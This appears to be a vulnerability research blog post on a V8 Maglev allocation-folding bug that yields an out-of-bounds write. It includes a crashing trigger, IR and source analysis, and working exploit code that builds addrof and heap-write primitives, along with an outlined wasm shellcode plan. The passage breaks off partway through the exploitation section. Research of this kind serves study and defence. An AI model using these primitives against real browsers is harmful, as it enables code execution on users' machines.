An Array in JavaScript (e.g., defined as var arr = [1, 2, 3] is a JavaScript object whose properties are restricted to values that can be used as array indices. The ECMAScript specification defines an Array as follows^[3]:

Array objects give special treatment to a certain class of property names. A property name P (in the form of a String value) is an array index if and only if ToString(ToUint32(P)) is equal to P and ToUint32(P) is not equal to 2^32-1. A property whose property name is an array index is also called an element. Every Array object has a length property whose value is always a non-negative integer less than 2^32.

Observe that:

• An array can contain at most 2^32-1 elements and an array index can range
  from 0 through 2^32-2.
• Object property names that are array indices are called elements.

A TypedArray object in JavaScript describes an array-like view of an underlying binary data buffer ^[4]. There is no global property named TypedArray, nor is there a directly visible TypedArray constructor.

Some examples of TypedArray objects include:

• Int8Array has a size of 1 byte and a range of -128 to 127.
• Uint8Array has a size of 1 byte and a range of 0 to 255.
• Int32Array has a size of 4 bytes and a range of -2147483648 to 2147483647.
• Uint32Array has a size of 4 bytes and a range of 0 to 4294967295.

Elements Kinds in V8

V8 keeps track of which kind of elements each array contains. This information allows V8 to optimize any operations on the array specifically for this type of element. For example, when a call is made to reduce, map, or forEach on an array, V8 can optimize those operations based on what kind of elements the array contains.^[5]

V8 includes a large number of element kinds. The following are just a few:

• The fast kind that contain small integer (SMI) values: PACKED_SMI_ELEMENTS, HOLEY_SMI_ELEMENTS.
• The fast kind that contain tagged values: PACKED_ELEMENTS, HOLEY_ELEMENTS.
• The fast kind for unwrapped, non-tagged double values: PACKED_DOUBLE_ELEMENTS, HOLEY_DOUBLE_ELEMENTS.
• The slow kind of elements: DICTIONARY_ELEMENTS.
• The nonextensible, sealed, and frozen kind: PACKED_NONEXTENSIBLE_ELEMENTS, HOLEY_NONEXTENSIBLE_ELEMENTS, PACKED_SEALED_ELEMENTS, HOLEY_SEALED_ELEMENTS, PACKED_FROZEN_ELEMENTS, HOLEY_FROZEN_ELEMENTS.

This blog post focuses on 2 different element kinds.

• PACKED_DOUBLE_ELEMENTS: The array is packed and it contains only 64-bit floating-point values.
• PACKED_ELEMENTS: The array is packed and it can contain any type of element (integers, doubles, objects, etc).

The concept of transitions is important to understand this vulnerability. A transition is the process of converting one kind of array to another. For example, an array with kind PACKED_SMI_ELEMENTS can be converted to kind HOLEY_SMI_ELEMENTS. This transition is converting a more specific kind (PACKED_SMI_ELEMENTS) to a more general kind (HOLEY_SMI_ELEMENTS). However, transitions cannot go from a general kind to a more specific kind. For example, once an array is marked as PACKED_ELEMENTS (general kind), it cannot go back to PACKED_DOUBLE_ELEMENTS (specific kind) which is what this vulnerability forces for the initial corruption.^[6]

The following code block illustrates how these basic types are assigned to a JavaScript array, and when these transitions take place:

				
					let array = [1, 2, 3]; // PACKED_SMI_ELEMENTS
array[3] = 3.1         // PACKED_DOUBLE_ELEMENTS
array[3] = 4           // Still PACKED_DOUBLE_ELEMENTS
array[4] = "five"      // PACKED_ELEMENTS
array[6] = 6           // HOLEY_ELEMENTS
				
			

Fast JavaScript Arrays

Recall that JavaScript arrays are objects whose properties are restricted to values that can be used as array indices. Internally, V8 uses several different representations of properties in order to provide fast property access.^[7]

Fast elements are simple VM-internal arrays where the property index maps to the index in the elements store. For large or holey arrays that have empty slots at several indexes, a dictionary-based representation is used to save memory.

Vulnerability

The vulnerability exists in the VisitFindNonDefaultConstructorOrConstructMaglev function which tries to optimize a class creation when the class has a parent class. Specifically, if the class also contains a new.target reference, this will trigger a logic issue when generating the code, resulting in a second order vulnerability of the type out of bounds write. The new.target is defined as a meta-property for functions to detect whether the function has been called with the new operator. For constructors, it allows access to the function with which the new operator was called. In the following case, Reflect.construct was used to construct ClassBugwith ClassParent as new.target.

				
					function main() {
  class ClassParent {
  }
  class ClassBug extends ClassParent {
      constructor() {
        const v24 = new new.target();
        super();
        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
      [1000] = 8;
  }
  for (let i = 0; i ＜ 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();
				
			

When running the above code on a debug build the following crash occurs:

				
					$ ./v8/out/x64.debug/d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing --jit-fuzzing report-1.js 

#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1309
  Expected Map but found Smi: 0xcccccccd (-858993459)

#
#
#
#FailureMessage Object: 0x7ffd9c9c15a8
==== C stack trace ===============================

    ./v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f2e07dc1f5e]
    ./v8/out/x64.debug/libv8_libplatform.so(+0x522cd) [0x7f2e07d142cd]
    ./v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1ac) [0x7f2e07d9019c]
    ./v8/out/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0xa0df) [0x7f2e0d37668f]
    ./v8/out/x64.debug/libv8.so(+0x3a17bce) [0x7f2e0b7eebce]
Trace/breakpoint trap (core dumped)
				
			

The constructor of the ClassBug class has the following bytecode:

				
					// [1]
         0x9b00019a548 @    0 : 19 fe f8          Mov , r1
         0x9b00019a54b @    3 : 0b f9             Ldar r0
         0x9b00019a54d @    5 : 69 f9 f9 00 00    Construct r0, r0-r0, [0]
         0x9b00019a552 @   10 : c3                Star2

// [2]
         0x9b00019a553 @   11 : 5a fe f9 f2       FindNonDefaultConstructorOrConstruct , r0, r7-r8
         0x9b00019a557 @   15 : 0b f2             Ldar r7
         0x9b00019a559 @   17 : 19 f8 f5          Mov r1, r4
         0x9b00019a55c @   20 : 19 f9 f3          Mov r0, r6
         0x9b00019a55f @   23 : 19 f1 f4          Mov r8, r5
         0x9b00019a562 @   26 : 99 0c             JumpIfTrue [12] (0x9b00019a56e @ 38)
         0x9b00019a564 @   28 : ae f4             ThrowIfNotSuperConstructor r5
         0x9b00019a566 @   30 : 0b f3             Ldar r6
         0x9b00019a568 @   32 : 69 f4 f9 00 02    Construct r5, r0-r0, [2]
         0x9b00019a56d @   37 : c0                Star5
         0x9b00019a56e @   38 : 0b 02             Ldar 
         0x9b00019a570 @   40 : ad                ThrowSuperAlreadyCalledIfNotHole
         
// [3]
         0x9b00019a571 @   41 : 19 f4 02          Mov r5, 
         0x9b00019a574 @   44 : 2d f5 00 04       GetNamedProperty r4, [0], [4]
         0x9b00019a578 @   48 : 9d 0a             JumpIfUndefined [10] (0x9b00019a582 @ 58)
         0x9b00019a57a @   50 : be                Star7
         0x9b00019a57b @   51 : 5d f2 f4 06       CallProperty0 r7, r5, [6]
         0x9b00019a57f @   55 : 19 f4 f3          Mov r5, r6

// [4]
         0x9b00019a582 @   58 : 7a 01 08 25       CreateArrayLiteral [1], [8], #37
         0x9b00019a586 @   62 : c2                Star3
         0x9b00019a587 @   63 : 0b 02             Ldar 
         0x9b00019a589 @   65 : aa                Return
				
			

Briefly, [1] represents the new new.target() line, [2] corresponds to the creation of the object, [3] represents the super() call and [4] is the creation of the array after the call to super. When this code is run a few times, it will be compiled by the Maglev JIT compiler which will handle each bytecode operation separately. The vulnerability lies in the manner in which Maglev will lower the  FindNonDefaultConstructorOrConstruct bytecode operation into Maglev IR.

When Maglev lowers the bytecode into IR, it will also include the code for initialization of the this object, which means that it will also contain the code [1000] = 8 from the trigger. The generated Maglev IR graph with the vulnerable optimization will be:

				
					[TRUNCATED]
  0x16340019a2e1  (0x163400049c41 )
    11 : FindNonDefaultConstructorOrConstruct , r0, r7-r8

[5]

    20/18: AllocateRaw(Young, 100) → [rdi|R|t] (spilled: [stack:1|t]), live range: [20-47]
    21/19: StoreMap(0x16340019a961 <map>) [v20/n18:[rdi|R|t]]
    22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
    23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]

[TRUNCATED]

│ 0x16340019a31d  (0x163400049c41 :9:15)
│    5 : DefineKeyedOwnProperty , r0, #0, [0]

[6]

│   28/30:   DefineKeyedOwnGeneric [v2/n3:[rsi|R|t], v20/n18:[rdx|R|t], v4/n27:[rcx|R|t], v7/n28:[rax|R|t], v6/n29:[r11|R|t]] → [rax|R|t]
│          │      @51 (3 live vars)
│          ↳ lazy @5 (2 live vars)
│ 0x16340019a2e1  (0x163400049c41 )
│   58 : CreateArrayLiteral [1], [8], #37
│╭──29/31: Jump b8
││
╰─►Block b7
 │  30/32: Jump b8
 │      ↓
 ╰►Block b8

 [7]

    31/33: FoldedAllocation(+12) [v20/n18:[rdi|R|t]] → [rcx|R|t], live range: [31-46]
       59: GapMove([rcx|R|t] → [rdi|R|t])
    32/34: StoreMap(0x163400000829 <map>) [v31/n33:[rdi|R|t]]

[TRUNCATED]</map></map>
				
			

When optimizing the construction of the ClassBug class at [5] Maglev will perform a raw allocation preempting the need for more space for the double array defined at [4] in the previous listing, also noting that it will spill the pointer to this allocation into the stack (spilled: [stack:1|t]). However, when constructing the object the [1000] = 8 property definition depicted at [6] will trigger a garbage collection. This side-effect cannot be observed in Maglev IR itself as it is the responsibility of Maglev to perform garbage collector safe allocations. Thus at [7], the FoldedAllocation will try to use the previously allocated space at [5] (depicted by v20/n18) by recovering the spill from the stack, add +12 to the pointer and finally storing the pointer back in the rcx register. Later GapMove will place the pointer into rdi and finally StoreMap will start writing the double array, starting with its Map, at such pointer, effectively rewriting memory at a different location than the one expected by Maglev IR, as it was moved by the garbage collection cycle at [6]. This behavior is seen in depth in the following section.

Code Analysis

Allocating Folding

Maglev tries to optimize allocations by trying to fold multiple allocations into a single large one. It stores a pointer to the last node that allocated memory (the AllocateRawnode). The next time there is a request for allocation, it performs certain checks and if those pass, it increases the size of the previous allocation by the size requested for the new one. This means that if there is a request to allocate 12 bytes and later there is another request to allocate 88 bytes, Maglev will just make the first allocation 100 bytes long and remove the second allocation completely. The first 12 bytes of this allocation will be used for the purpose of the first allocation and the following 88 bytes will be used for the second one. This can be seen in the code that follows.

When Maglev tries to lower code and encounters places where there is a need to allocate memory, the MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation() function is called. The source for this function is provided below.

				
					// File: src/maglev/maglev-graph-builder.cc

ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
    int size, AllocationType allocation_type) {

[1] 

  if (!current_raw_allocation_ ||
      current_raw_allocation_-＞allocation_type() != allocation_type ||
      !v8_flags.inline_new) {
    current_raw_allocation_ =
        AddNewNode＜AllocateRaw＞({}, allocation_type, size);
    return current_raw_allocation_;
  }

[2]

  int current_size = current_raw_allocation_-＞size();
  if (current_size + size ＞ kMaxRegularHeapObjectSize) {
    return current_raw_allocation_ =
               AddNewNode＜AllocateRaw＞({}, allocation_type, size);
  }

[3]

  DCHECK_GT(current_size, 0);
  int previous_end = current_size;
  current_raw_allocation_-＞extend(size);
  return AddNewNode＜FoldedAllocation＞({current_raw_allocation_}, previous_end);
}
				
			

This function accepts two arguments, the first being the size to allocate and the second being the AllocationType which specifies details about how/where to allocate – for example if this allocation is supposed to be in the Young Space or the Old Space.

At [1] it checks if the current_raw_allocation_ is null or its AllocationType is not equal to what was requested for the current allocation. In either case, a new AllocateRaw node is added to the Maglev CFG, and a pointer to this node is saved in current_raw_allocation_. Hence, the current_raw_allocation_ variable always points to the node that performed the last allocation.

When the control reaches [2], it means that the current_raw_allocation_ is not empty and the allocation type of the previous allocation matches that of the current one. If so, the compiler checks that the total size, that is the size of the previous allocation added to the requested size, is less than 0x20000. If not, a new AllocateRaw node is emitted for this allocation again and a pointer to it is saved in current_raw_allocation_.

If control reached [3], then it means that the amount to allocate now can be merged with the last allocation. Hence the size of the last allocation is extended by the requested size using the extend() method on the current_raw_allocation_. This ensures that the previous allocation will allocate the memory required for this allocation as well. After that a FoldedAllocation node is emitted. This node holds the offset into the previous allocation where the memory for the current allocation will start. For example, if the first allocation was 12 bytes, and the second one was for 88 bytes, then Maglev will merge both allocations and make the first one an allocation for 100 bytes. The second one will be replaced with a FoldedAllocation node that points to the previous allocation and holds the offset 12 to signify that this allocation will start 12 bytes into the previous allocation.

In this manner Maglev optimizes the number of allocations that it performs. In the code, this is referred to as Allocation Folding and the allocations that are optimized out by extending the size of the previous allocation are called Folded Allocations. However, a caveat here is the garbage collection (GC). As mentioned in previous sections, V8 has a moving garbage collector. Hence if a GC occurs between two “folded” allocations, the object that was initialized in the first allocation will be moved elsewhere while the space that was reserved for the second allocation will be freed because the GC will not see an object there (since the GC occurred after the initialization of the first object but before that of the second). Since the GC does not see an object, it will assume that it is free space and free it. Later when the second object is going to be initialized, the FoldedAllocation node will report the offset from the start of the previous allocation (which is now moved) and using that offset to initialize the object will result in an out of bounds write. This happens because only the memory corresponding to the first object was moved which means that in the example from above, only 12 bytes are moved while the FoldedAllocation will report that the second object can be initialized at the offset of 12 bytes from the start of the allocation hence writing out of bounds. Therefore, care should be taken to avoid a scenario where a GC can occur between Folded Allocations.

BuildAllocateFastObject

The BuildAllocateFastObject() function is a wrapper around ExtendOrReallocateCurrentRawAllocation() that can call the ExtendOrReallocateCurrentRawAllocation() function multiple times to allocate space for the object, as well as, for its elements and in-object property values.

				
					// File: src/maglev/maglev-graph-builder.cc
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
    FastObject object, AllocationType allocation_type) {

      
[TRUNCATED]

[1]

  ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
      object.instance_size, allocation_type);
      
[TRUNCATED]

  return allocation;
}
				
			

As can be seen at [1], this function calls the ExtendOrReallocateCurrentRawAllocation() function whenever it needs to do an allocation and then initializes the allocated memory with the data for the object. An important point to note here is that this function never clears the current_raw_allocation_ variable once it finishes, thereby making it the responsibility of the caller to clear that variable when required. The MaglevGraphBulider has a helper function called ClearCurrentRawAllocation() to set the current_raw_allocation_ member to NULL to achieve this. Like we discussed in the previous section, if the variable is not cleared correctly, then allocations can get folded across GC boundaries which will lead to an out of bounds write.

VisitFindNonDefaultConstructorOrConstruct

The FindNonDefaultConstructorOrConstruct bytecode op is used to construct the object instance. It walks the prototype chain from constructor’s super constructor until it sees a non-default constructor. If the walk ends at a default base constructor, as will be the case with the test case we saw earlier, it creates an instance of this object.

The Maglev compiler calls the VisitFindNonDefaultConstructorOrConstruct() function to lower this opcode into Maglev IR. The code for this function can be seen below.

				
					// File: src/maglev/maglev-graph-builder.cc

void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
  ValueNode* this_function = LoadRegisterTagged(0);
  ValueNode* new_target = LoadRegisterTagged(1);

  auto register_pair = iterator_.GetRegisterPairOperand(2);

// [1]

  if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target,
                                                   register_pair)) {
    return;
  }

// [2]

  CallBuiltin* result =
      BuildCallBuiltin(
          {this_function, new_target});
  StoreRegisterPair(register_pair, result);
}
				
			

At [1] this function calls the TryBuildFindNonDefaultConstructorOrConstruct()function. This function tries to optimize the creation of the object instance if certain invariants hold. This will be discussed in more detail in the following section. In case the TryBuildFindNonDefaultConstructorOrConstruct() function returns true, then it means that the optimization was successful and the opcode has been lowered into Maglev IR so the function returns here.

However, if the TryBuildFindNonDefaultConstructorOrConstruct() function says that optimization is not possible, then control reaches [3], which emits Maglev IR that will call into the interpreter implementation of the FindNonDefaultConstructorOrConstruct opcode.

The vulnerability we are discussing resides in the TryBuildFindNonDefaultConstructorOrConstruct() function and requires this function to succeed in optimization of the instance construction.

TryBuildFindNonDefaultConstructorOrConstruct

Since this function is pretty large, only the relevant parts are highlighted below.

				
					// File: src/maglev/maglev-graph-builder.cc

bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
    ValueNode* this_function, ValueNode* new_target,
    std::pair＜interpreter::Register, interpreter::Register＞ result) {
  // See also:
  // JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct

[1]

  compiler::OptionalHeapObjectRef maybe_constant =
      TryGetConstant(this_function);
  if (!maybe_constant) return false;

  compiler::MapRef function_map = maybe_constant-＞map(broker());
  compiler::HeapObjectRef current = function_map.prototype(broker());
  
[TRUNCATED]

[2]

  while (true) {
    if (!current.IsJSFunction()) return false;
    compiler::JSFunctionRef current_function = current.AsJSFunction();

[TRUNCATED]

[3]

    FunctionKind kind = current_function.shared(broker()).kind();
    if (kind != FunctionKind::kDefaultDerivedConstructor) {

[TRUNCATED]

[4]

      compiler::OptionalHeapObjectRef new_target_function =
          TryGetConstant(new_target);
      if (kind == FunctionKind::kDefaultBaseConstructor) {

[TRUNCATED]

[5]

        ValueNode* object;
        if (new_target_function ＆＆ new_target_function-＞IsJSFunction() ＆＆
            HasValidInitialMap(new_target_function-＞AsJSFunction(),
                               current_function)) {
          object = BuildAllocateFastObject(
              FastObject(new_target_function-＞AsJSFunction(), zone(), broker()),
              AllocationType::kYoung);
        } else {
          object = BuildCallBuiltin＜Builtin::kFastNewObject＞(
              {GetConstant(current_function), new_target});
          // We've already stored "true" into result.first, so a deopt here just
          // has to store result.second.
          object-＞lazy_deopt_info()-＞UpdateResultLocation(result.second, 1);
        }

[TRUNCATED]

[6]

    // Keep walking up the class tree.
    current = current_function.map(broker()).prototype(broker());
  }
}
				
			

Essentially this function tries to walk the prototype chain of the object that is being constructed, in order to find out the first non default constructor and use that information to construct the object instance. However, for the logic that this function uses to hold true, a few preconditions must hold. The relevant ones for this vulnerability are discussed below.

[1] highlights the first precondition that should hold – the object whose instance is being constructed should be a “constant”.

The while loop starting at [2] handles the prototype walk, with each iteration of the loop handling one of the parent objects. The current_function variable holds the constructor of this parent object. In case one of the parent constructors is not a function, it bails out.

At [3] the FunctionKind of the function is calculated. The FunctionKind is an enum that holds information about the function which says what type of a function it is – for example it can be a normal function, a base constructor, a default constructor, etc. The function then checks if the kind is a default derived constructor, and if so the control goes to [6] and the loop skips processing this parent object. The logic here is that if the constructor of the parent object in the current iteration is a default derived constructor, then this parent does not specify a constructor (it is the default one) and neither does the base object (it is a derived constructor). Hence, the loop can skip this parent object and straightaway go on to the parent of this object.

The block at [4] does two things. It first attempts to fetch the constant value of the new.target. Since the control is here, the if statement at [3] already passed, which means that the parent object being processed in the current iteration either has a non default constructor or is the base object with a default or a non default constructor. The if statement here checks the function kind to see if the function is the base object with the default constructor. If so, at [5], it checks that the new target is a valid constant that can construct the instance. If this check also passes, then the function knows that the current parent being iterated over is the base object that has the default constructor appropriately set up to create the instance of the object. Hence, it goes on to call the BuildAllocateFastObject() function with the new target as the argument, to get Maglev to emit IR that will allocate and initialize an instance of the object. As mentioned before, the BuildAllocateFastObject() calls the ExtendOrReallocateCurrentRawAllocation() function to allocate necessary memory and initializes everything with the object data that is to be constructed.

However, as the previous section mentioned, it is the responsibility of the caller of the BuildAllocateFastObject() function to ensure that the current_raw_allocation_is cleared properly. As can be seen in the code, the TryBuildFindNonDefaultConstructorOrConstruct() never clears the current_raw_allocation_ variable after calling BuildAllocateFastObject(). Hence if the next allocation that is made after the FindNonDefaultConstructorOrConstruct is folded with this allocation and there is a GC in between the two, then the initialization of the second allocation will be an out of bounds write.

There are two important conditions to reach the BuildAllocateFastObject() call in TryBuildFindNonDefaultConstructorOrConstruct() that were discussed above. First, the original constructor function that is being called should be a constant (this can be seen at [1]). Second, the new target which the constructor is being called with should also be constant (this can be seen at [3]). There are other constraints that are easier to achieve like the base object having a default constructor and no other parent object having a custom constructor.

Triggering the Vulnerability

As mentioned previously, the vulnerability can be triggered with the following JavaScript code.

				
					function main() {

[1]

  class ClassParent {}
  
  class ClassBug extends ClassParent {

      constructor() {
[2]

        const v24 = new new.target();
[3]

        super();
[4]

        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
[5]

      [1000] = 8;
  }
  
[6]  

  for (let i = 0; i ＜ 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();
				
			

The ClassParent class as seen at [1] is the parent of the ClassBug class. The ClassParent class is a base class with a default constructor satisfying one of the conditions required to trigger the bug. The ClassBug class does not have any parent with a custom constructor (it has only one parent object which is ClassParent with the default constructor). Hence, another of the conditions is satisfied.

At [2], a call is made to create an instance of the new.target, when this is done Maglev will emit a CheckValue on the ClassParent to ensure that it remains constant at runtime. This CheckValue will mark the ClassParent which is the new.target as a constant. Hence another condition is satisfied for the issue to trigger.

At [3] the super constructor is called. Essentially, when the super constructor is called, the engine does the allocation and the initialization for the this object. In other words, this is when the object instance is created and initialized. Hence at the point of the super function call, the FindNonDefaultConstructorOrConstruct opcode is emitted which will take care of creating the instance with the correct parent. After that the initialization for this object is done, which means that the code for [5] is emitted. The code at [5] basically sets the property 1000 of the current instance of ClassBug to the value 8. For this it will perform some allocation and hence this code can trigger a GC run. To summarize, two things happen at [3] – firstly the this object is allocated and initialized as per the correct parent object. After that the code for [1000] = 8 from [5] is emitted which can trigger a GC.

The array creation at [4] will again attempt to allocate memory for the metadata and the elements of the array. However the Maglev code for FindNonDefaultConstructorOrConstruct, which was called for allocation of the this object, made an allocation without ever clearing the current_raw_allocation_pointer. Hence the allocation for the array elements and metadata will be folded along with the allocation for the this object. However, as mentioned in the previous paragraph, the code for [5], which can trigger a GC lies between the original allocation and this folded one. Therefore if a GC occurs in the code emitted for [5], then the original allocation which was meant to hold both, the this object as well as the array a, will be moved to a different place where the size of the allocation will only include the this object. Hence when the code for initializing the array elements and metadata is run, it will result in an out of bounds write, corrupting whatever lies after the this object in the new memory region.

Finally, at [6] the class instantiation is run within the for loop via Reflect.construct to trigger the JIT compilation on Maglev.

In the next section, we will take a look at how we can exploit this issue to gain code execution inside the Chrome sandbox.

Exploitation

Exploiting this vulnerability involves the following steps:

• Triggering the vulnerability by directing an allocation to be a FoldedAllocation and forcing a garbage collection cycle before the FoldedAllocation part of the allocation is performed.
• Setting up the V8 heap whereby the garbage collection ends up placing objects in a way that makes possible overwriting the map of an adjacent array.
• Locating the corrupted array object to construct the addrof,read, and writeprimitives.
• Creating and instantiating two wasm instances.
• One containing shellcode that has been “smuggled” by means of writing floating point values. This wasm instance should also export a main function to be called afterwards.
• The first shellcode smuggled in the wasm contains functionality to perform arbitrary writes on the whole process space. This has to be used to copy the target payload.
• The second wasm instance will have its shellcode overwritten by means of using the arbitrary write smuggled in the first one. This second instance will also export a main function.
• Finally, calling the exported main function of the second instance, running the final stage of the shellcode.

Triggering the Vulnerability

The Triggering the Vulnerability from the Code Analysis section highlighted a minimal crashing trigger. This section explores how to extend more control over when the vulnerability is triggered and also how to trigger it in a more exploitable manner.

				
					et empty_object = {}
  let corrupted_instance = null;

  class ClassParent {} 
  class ClassBug extends ClassParent {
    constructor(a20, a21, a22) {

      const v24 = new new.target();

// [1]

      // We will overwrite the contents of the backing elements of this array.
      let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object];

// [2]

      super();


// [3]

      let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1,1.1];


// [4]

      this.x = x;
      this.a = a;

      JSON.stringify(empty_array);
    }

// [5]

    [1] = dogc();
  }

// [6]

  for (let i = 0; i＜200; i++) {
    dogc_flag = false;
    if (i%2 == 0) dogc_flag = true;
    dogc();
  }

// [7]

  for (let i = 0; i ＜ 650; i++) {

    dogc_flag=false;

// [8]

    // We will do a gc a couple of times before we hit the bug to clean up the
    // heap. This will mean that when we hit the bug, the nursery space will have
    // very few objects and it will be more likely to have a predictable layout.
    if (i == 644 || i == 645 || i == 646 || i == 640) { 
      dogc_flag=true;
      dogc();
      dogc_flag=false;
    }

// [9]

    // We are going to trigger the bug. To do so we set `dogc_flag` to true
    // before we construct ClassBug.
    if (i == 646) dogc_flag=true;

    let x = Reflect.construct(ClassBug, empty_array, ClassParent);

// [10]

    // We save the ClassBug instance we corrupted by the bug into `corrupted_instance`
    if (i == 646) corrupted_instance = x;
  }
				
			

There are a few changes in this trigger as compared to the one seen before. Firstly, at [1] there is an array x that is created which will hold objects having a PACKED_ELEMENTS kind. It was observed that when the GC is triggered at [2], and the existing objects are moved to a different memory region, the elements backing buffer of the x array will lie after the this pointer of the object. As detailed in the previous vulnerability trigger section, due to the vulnerability, when the garbage collection occurs at [2], the allocation that immediately follows performs an out of bounds write on the object that lies after the this object in the heap. This means that with the current setup, the array at [3] will be initialized in the elements backing buffer of x. The following image shows the state of the necessary part of the Old Space after the GC has run and the array a has been allocated.

This provides powerful primitives of type confusion because the same allocation in memory has been dedicated to both – the raw floating points and metadata of a – as well as for the backing buffer of x which holds JSObjects as values. Hence this allows the exploit to read a JSObject pointer as float from the a array providing with a leak, as well as the ability to corrupt the metadata of a from x which can lead to arbitrary write within the V8 heap as will be shown later. At [4], references to both, x and a, are saved as member variables so that they can be accessed later once the constructor is finished running.

Secondly, we modified the GC trigger mechanism in this trigger. Earlier, there was a point where allocation of the elements pointer of the this object caused a GC because there was no more space on the heap. However, it was unpredictable when the GC would occur and hence the bug would trigger. Therefore in this trigger, the initialized index is a small one as can be seen at [5]. However when there is an attempt to initialize the index, the engine will call the dogc function which performs a GC when the dogc_flag is set to true. Hence a GC will occur only when required and not on each run. Since the element index being initialized at [5] is a small one (index 1), the allocation made for it will be small and typically not trigger another GC.

Thirdly, as can be seen at [6], before starting with the exploit, we trigger the GC a few times. This is done for two reasons – to JIT compile the dogc function and to trigger a few initial GC runs which would move all existing objects to the Old Space Heap, thereby cleaning up the heap before getting started with the exploit.

Finally, the for loop at [7] is run only a particular number of time. This is the loop that Maglev JIT compiles the constructor of the ClassBug. If it is run too often, then V8 will TurboFan JIT compile it and prevent the bug from triggering. If it runs too few times, the Maglev compiler will never kick in. The number of times the loop runs and the iteration count when to trigger the bug was chosen heuristically by observing the behavior of the engine in different runs. At [9] we trigger the bug when the loop count is 646. However a few runs before triggering the bug, we trigger a GC just to clean up the heap off of any stale objects that linger from past allocations. This can be seen at [8]. Doing this increases the chances that the post GC object layout remains what the we expect it to. In the iteration the bug is triggered, the created object is stored into the corrupted_instance variable.

Exploit Primitives

In the previous section we saw how the vulnerability, which was effectively an out of bounds write, was converted into a type confusion between raw floating point value, JSObject and JSObject metadata. In this section we look at how this can be utilized to further corrupt data and provide mechanisms for addrof primitive as well as read/write primitives on the V8 heap. We first talk about the mechanism of an initial temporary addrof and write primitives. These are however dependent on the fact that the garbage collector should not run. To get around this limitation, we will use these initial primitives to craft another addrof and read/write primitive that will be independent of the garbage collector.

Initial addrof primitive

The first primitive to achieve is the addrof primitive that allows an attacker to leak the address of any JavaScript object. The setup achieved by the exploit in the previous section makes gaining the addrof primitive very straightforward.

As mentioned, once the exploit is triggered, the following two regions overlap:

• The elements backing buffer of the x object.
• The metadata and backing buffer of the array object a.

Hence data can be written into the object array x as an object and read back as a double accessing the packed double array a. The following JavaScript code highlights this.

				
					unction addrof_tmp(obj) {
    corrupted_instance.x[0] = obj;
    f64[0] = corrupted_instance.a[8];
    return u32[0];
  }
				
			

It is important to note that in the V8 heap, all the object pointers are compressed 32 bit values. Hence the function reads the pointer as a 64 bit floating point value but extracts the address as the lower 32 bits of that value.

Initial Write Primitive

Once the vulnerability is triggered, the same memory region is used for storing the backing buffer of an array with objects (x) as well as the backing buffer and metadata of a packed double array (a). This means that the length property of the packed double array a can be modified by writing to certain elements in the object array. The following code attempts to write 0x10000 to the length field of the object array.

				
					corrupted_instance.x[5] = 0x10000;
  if (corrupted_instance.a.length != 0x10000) {
    log(ERROR, "Initial Corruption Failed!");
    return false;
  }
				
			

This is possible since SMI are written to the V8 heap memory left bit shifted by 1 as explained in the Preliminaries section. Once the length of the array is overwritten, out of bounds read/write can be performed, relative to the position of the backing element buffer of the array. To make use of this, the exploit allocates another packed double array and finds the offset and the element index to reach its metadata from the start of the elements buffer of the corrupted array.

				
					let rwarr = [1.1,2.2,2.2];
  let rwarr_addr = addrof_tmp(rwarr);
  let a_addr = addrof_tmp(corrupted_instance.a);

  // If our target array to corrupt does not lie after our corrupted array, then
  // we can't do anything. Bail and retry the exploit.
  if (rwarr_addr ＜ a_addr) {
    log(ERROR, "FAILED");
    return false;
  }

  let offset = (rwarr_addr - a_addr) + 0xc;
  if ( (offset % 8) != 0 ) {
    offset -= 4;
  }

  offset = offset / 8;
  offset += 9;

  let marker42_idx = offset;
				
			

This setup allows the exploit to modify the metadata of the rwarr packed double array. If the elements pointer of this array is modified to point to a specific value, then writing to an index in the rwarr will write a controlled float to this chosen address thereby achieving an arbitrary write in the V8 heap. The JavaScript code that does this is highlighted below. This code accepts 2 arguments: the target address to write as an integer value (compressed pointer) and the target value to write as a floating point value.

				
					  // These functions use `where-in` because v8
  // needs to jump over the map and size words
  function v8h_write64(where, what) {
    b64[0] = zero;
    f64[0] = corrupted_instance.a[marker42_idx];
    if (u32[0] == 0x6) {
      f64[0] = corrupted_instance.a[marker42_idx-1];
      u32[1] = where-8;
      corrupted_instance.a[marker42_idx-1] = f64[0];
    } else if (u32[1] == 0x6) {
      u32[0] = where-8;
      corrupted_instance.a[marker42_idx] = f64[0];
    }
    // We need to read first to make sure we don't
    // write bogus values
    rwarr[0] = what;
  }
				
			

However both, the addrof as well as the write primitive depend on there being no garbage collection run after the successful trigger of the bug. This is because if a GC occurs, then it will move the objects in memory and primitives like corruption of the array elements will no longer work because the metadata and elements region of the array maybe moved to separate regions by the Garbage Collector. A GC can also crash the engine if it sees corrupted metadata like corrupted maps or array lengths or elements pointers. For these reasons it is necessary to use this initial temporary primitives to expand the control and gain more stable primitives that are resistant to garbage collection.

Achieving GC Resistance

In order to gain GC resistant primitives, the exploit takes the following steps:

• Before the vulnerability is triggered allocate a few objects.
